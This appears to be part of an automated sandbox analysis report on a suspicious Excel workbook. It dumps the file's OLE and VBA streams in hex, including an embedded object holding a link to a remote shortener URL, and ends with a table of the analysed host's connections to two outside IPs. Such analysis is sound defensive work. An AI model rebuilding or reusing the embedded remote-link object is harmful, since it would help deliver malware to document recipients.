Data Raw:	43 50 54 39 46 49 4c 45 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 38 b4 00 d0 38 b4 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 01 00 94 00 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A52B4/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD008EDE52/MBD002A52B4/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A52B4/Package, File Type: Microsoft Excel 2007+, Stream Size: 50945

General
Stream Path:	MBD008EDE52/MBD002A52B4/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	50945
Entropy:	7.631071730257267
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . E o . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 e3 45 b7 6f 8c 01 00 00 c0 05 00 00 13 00 ce 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 ca 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A56E1/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD008EDE52/MBD002A56E1/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A56E1/Package, File Type: Microsoft Excel 2007+, Stream Size: 31124

General
Stream Path:	MBD008EDE52/MBD002A56E1/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	31124
Entropy:	7.746149934092623
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . p @ . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 13 70 40 80 a3 01 00 00 e2 05 00 00 13 00 cf 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cb 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A5E23/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD008EDE52/MBD002A5E23/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A5E23/\x5DocumentSummaryInformation, File Type: data, Stream Size: 484

General
Stream Path:	MBD008EDE52/MBD002A5E23/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	484
Entropy:	3.922883556049869
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , D . . . . . . . . . . + , D . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . I N V . . . . . P L . . . . . D P L - 1 . . . . . I N V ! P r i n t _ A r e a . . . . . P L ! P r i n t _ A r e a . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 00 00 00 05 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 44 01 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00

Stream Path: MBD008EDE52/MBD002A5E23/\x5SummaryInformation, File Type: data, Stream Size: 19956

General
Stream Path:	MBD008EDE52/MBD002A5E23/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	19956
Entropy:	3.056974324659501
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . M . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . y d t . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . W P S O f f i c e . . @ . . . . E . w . @ . . . . . 2 . @ . . . . . _ . . . . . . . . . . G . . . . M . . . . . . . . ? . . . . . . . . . \| & . . . . . . . . . . . . . . & . . . " W M F C . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 c4 4d 00 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 64 00 00 00 12 00 00 00 74 00 00 00 0b 00 00 00 88 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 11 00 00 00 b4 00 00 00

Stream Path: MBD008EDE52/MBD002A5E23/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 95624

General
Stream Path:	MBD008EDE52/MBD002A5E23/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	95624
Entropy:	3.889652332882722
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . Q \| 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c9 00 02 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD008EDE52/MBD002A6130/\x1CompObj, File Type: data, Stream Size: 94

General
Stream Path:	MBD008EDE52/MBD002A6130/\x1CompObj
CLSID:
File Type:	data
Stream Size:	94
Entropy:	4.345966460061678
Base64 Encoded:	False
Data ASCII:	. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o E x c h . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 15 00 00 00 41 63 72 6f 45 78 63 68 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD008EDE52/MBD002A6130/\x1Ole, File Type: data, Stream Size: 64

General
Stream Path:	MBD008EDE52/MBD002A6130/\x1Ole
CLSID:
File Type:	data
Stream Size:	64
Entropy:	2.935667186688699
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . F . . . . ! . . . . . F e u i l 1 ! O b j e c t 1 8 4 .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 04 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 02 00 00 00 21 00 12 00 00 00 46 65 75 69 6c 31 21 4f 62 6a 65 63 74 20 31 38 34 00

Stream Path: MBD008EDE52/MBD002A6130/CONTENTS, File Type: PDF document, version 1.7, Stream Size: 21760

General
Stream Path:	MBD008EDE52/MBD002A6130/CONTENTS
CLSID:
File Type:	PDF document, version 1.7
Stream Size:	21760
Entropy:	7.954015192696893
Base64 Encoded:	True
Data ASCII:	% P D F - 1 . 7 . % . 1 0 o b j . < < . / T y p e / C a t a l o g . / P a g e s 2 0 R . / A c r o F o r m 2 4 0 R . > > . e n d o b j . 8 0 o b j . < < . / L e n g t h 2 . > > . s t r e a m . . q . . . e n d s t r e a m . e n d o b j . 9 0 o b j . < < . / L e n g t h 2 . > > . s t r e a m . . q . . . e n d s t r e a m . e n d o b j . 1 0 0 o b j . < < . / L e n g t h 3 8 . / F i l t e r / F l a t e D e c o d e . > > . s t r e a m . . x + 2 7 2 3 7 U 0 . B . . s = # . 3
Data Raw:	25 50 44 46 2d 31 2e 37 0a 25 f6 e4 fc df 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 0a 2f 50 61 67 65 73 20 32 20 30 20 52 0a 2f 41 63 72 6f 46 6f 72 6d 20 32 34 20 30 20 52 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 32 0a 3e 3e 0a 73 74 72 65 61 6d 0d 0a 71 0a 0d 0a 65 6e 64 73 74 72 65 61 6d 0a 65

Stream Path: MBD008EDE52/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 218908

General
Stream Path:	MBD008EDE52/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	218908
Entropy:	7.606771386739727
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . ` < x - 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD008EDE53/\x1Ole, File Type: data, Stream Size: 680

General
Stream Path:	MBD008EDE53/\x1Ole
CLSID:
File Type:	data
Stream Size:	680
Entropy:	5.264369934310309
Base64 Encoded:	False
Data ASCII:	. . . . K ~ . ! . . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . m . 2 . g . . . m . e . / . a . 0 . 8 . 0 . . . P i t . . 1 . ! 6 E . & . ` . ) o . + . f O . h % ; . m j _ . . . M L q r . . . 5 / \| P ] . . O T . X 1 I . . . % . ( ` > . ) > B X : . . . . . . . . . . . . . . . . . . . a . T . E . K . z . M . V . W . H . 1 . E . 5 . L . n . N . y . C . T . Z . O . K . C . R . 4 . g . X . G . S . P . w . A . k . 5 . I . k . 6 . 8 . 0 . A . m . Q . a . H . 1 . D . I . c . L . 7
Data Raw:	01 00 00 02 4b f0 9a 7e 16 21 80 1a 00 00 00 00 00 00 00 00 00 00 00 00 ba 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b b6 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6d 00 32 00 67 00 2e 00 6d 00 65 00 2f 00 61 00 30 00 38 00 30 00 00 00 ea df fc 50 f2 69 f1 d1 74 ea eb 0e ab cf b6 da c4 e2 31 0d 21 93 8e c0 94 36 96 93 aa 45 e4 e4 df 99 26 1d e2 b6 60 e5

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 339335

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	339335
Entropy:	7.998729325152868
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . m g } G . T . u . t t g b t W \| t . D . . . . . . . . t . . . \\ . p . . P p 2 Q . b d * 4 v W J $ } . G . D v . o a m / k \| . ' H } r = o t D Z ) ] R { a . . . . B ; K . a . @ . . . y ` < p . a 8 B . . . C . a . . . . . . = . . . I ! U . . . q . . 4 . P . 0 . . . r . . . . . . . . k . . . . N . . . . . . . . v = . . . N . 5 A . . u . z e @ . . . & . . . . H ! " . . . . . . . . K . . . B . . . K 1 . . . . v . . . U M } Z . { 8 ^ l 1 . . . V ~ ~ ? & , .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 6d b5 94 e1 f6 67 7d 47 d0 9e 54 16 c1 75 ed 0a 74 74 ac cc f2 67 cd ed f4 96 bd 9d 62 f0 dd 74 57 e0 c3 c4 fc a8 bc 7c 74 ec 83 89 b6 8d 44 a9 e1 00 02 00 b0 04 c1 00 02 00 1f 74 e2 00 00 00 5c 00 70 00 da 1b 50 93 fc 80 70 b4 32 f6 8e 51 0d 62 64 fa 2a 34 85 de 76 57 91 4a 24 f9 f7 90 7d df

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 525

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	525
Entropy:	5.274238839895712
Base64 Encoded:	True
Data ASCII:	I D = " { 4 7 6 C 6 B 8 9 - B 1 3 B - 4 5 2 A - B 4 7 9 - 5 2 4 7 8 0 3 A B E 8 7 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 5 9 5 B 9 E 2 6 A 2 2 6 A 2 2 6 A
Data Raw:	49 44 3d 22 7b 34 37 36 43 36 42 38 39 2d 42 31 33 42 2d 34 35 32 41 2d 42 34 37 39 2d 35 32 34 37 38 30 33 41 42 45 38 37 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9937045515448166
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.366265508038255
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 0e 80 15 69 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 07:14:30.564963102 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:30.565057039 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:30.565150023 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:30.570532084 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:30.570568085 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:31.537511110 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:31.537775993 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:31.543982029 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:31.544012070 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:31.544502020 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:31.544570923 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:31.620659113 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:31.663470030 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:32.166131973 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:32.166223049 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:32.166354895 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:32.166354895 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:32.168123960 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:32.168173075 CEST	443	49161	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:32.168204069 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:32.168251038 CEST	49161	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:32.181694031 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:32.186572075 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:32.186660051 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:32.186718941 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:32.191499949 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031301022 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031332016 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031348944 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031368017 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031438112 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031455040 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031470060 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031513929 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031513929 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031513929 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031513929 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031513929 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031537056 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031553984 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031563044 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031569004 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.031574011 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031586885 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.031603098 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.036525965 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.036551952 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.036570072 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.036583900 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.036611080 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.036640882 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.038237095 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.232968092 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233000994 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233017921 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233032942 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233041048 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233050108 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233066082 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233066082 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233067036 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233083010 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233098030 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233110905 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233149052 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233215094 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233259916 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233285904 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233302116 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233326912 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233345985 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233406067 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233421087 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233447075 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.233558893 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.233586073 CEST	49162	80	192.168.2.22	38.240.41.28
